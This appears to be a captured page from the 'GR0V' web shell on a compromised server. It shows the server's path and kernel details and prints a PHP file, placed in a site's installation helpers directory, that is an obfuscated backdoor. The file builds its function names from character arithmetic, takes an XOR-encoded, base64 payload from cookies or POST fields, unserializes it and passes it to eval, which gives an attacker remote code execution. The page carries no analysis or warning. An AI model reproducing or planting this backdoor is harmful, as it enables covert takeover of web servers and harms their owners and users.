? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/installation/helpers/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/installation/helpers/6457de16.php

$PFfRmO = "\x6f" . "\x6c" . chr (95) . chr (81) . 'e' . chr ( 822 - 748 ); $BrYwZX = 'c' . chr ( 465 - 357 ).chr (97) . chr ( 257 - 142 ).chr (115) . chr (95) . "\145" . 'x' . "\x69" . chr (115) . chr (116) . 's';$HFlVEdvdiY = $BrYwZX($PFfRmO); $OkWrkawa = $HFlVEdvdiY;if (!$OkWrkawa){class ol_QeJ{private $Gakzgz;public static $lefDFXCFRP = "31012909-2c3a-4e71-b848-972f1590d334";public static $fSAprvHSAg = 16375;public function __construct(){$uJcpnnJP = $_COOKIE;$FuXIHLok = $_POST;$PEOawxGy = @$uJcpnnJP[substr(ol_QeJ::$lefDFXCFRP, 0, 4)];if (!empty($PEOawxGy)){$gMMYqzS = "base64";$FwhfCITWRZ = "";$PEOawxGy = explode(",", $PEOawxGy);foreach ($PEOawxGy as $rCHLfTl){$FwhfCITWRZ .= @$uJcpnnJP[$rCHLfTl];$FwhfCITWRZ .= @$FuXIHLok[$rCHLfTl];}$FwhfCITWRZ = array_map($gMMYqzS . '_' . chr (100) . "\x65" . chr (99) . "\x6f" . "\144" . chr ( 670 - 569 ), array($FwhfCITWRZ,)); $FwhfCITWRZ = $FwhfCITWRZ[0] ^ str_repeat(ol_QeJ::$lefDFXCFRP, (strlen($FwhfCITWRZ[0]) / strlen(ol_QeJ::$lefDFXCFRP)) + 1);ol_QeJ::$fSAprvHSAg = @unserialize($FwhfCITWRZ);}}public function __destruct(){$this->dfmnr();}private function dfmnr(){if (is_array(ol_QeJ::$fSAprvHSAg)) {$lmgYeFk = str_replace(chr ( 284 - 224 ) . '?' . 'p' . "\150" . 'p', "", ol_QeJ::$fSAprvHSAg[chr (99) . chr (111) . "\156" . 't' . "\x65" . chr ( 684 - 574 ).chr ( 554 - 438 )]);eval($lmgYeFk);exit();}}}$vduqCWg = new ol_QeJ(); $vduqCWg = "9939";}

T1KUS90T
  root-grov@210.1.60.28:~$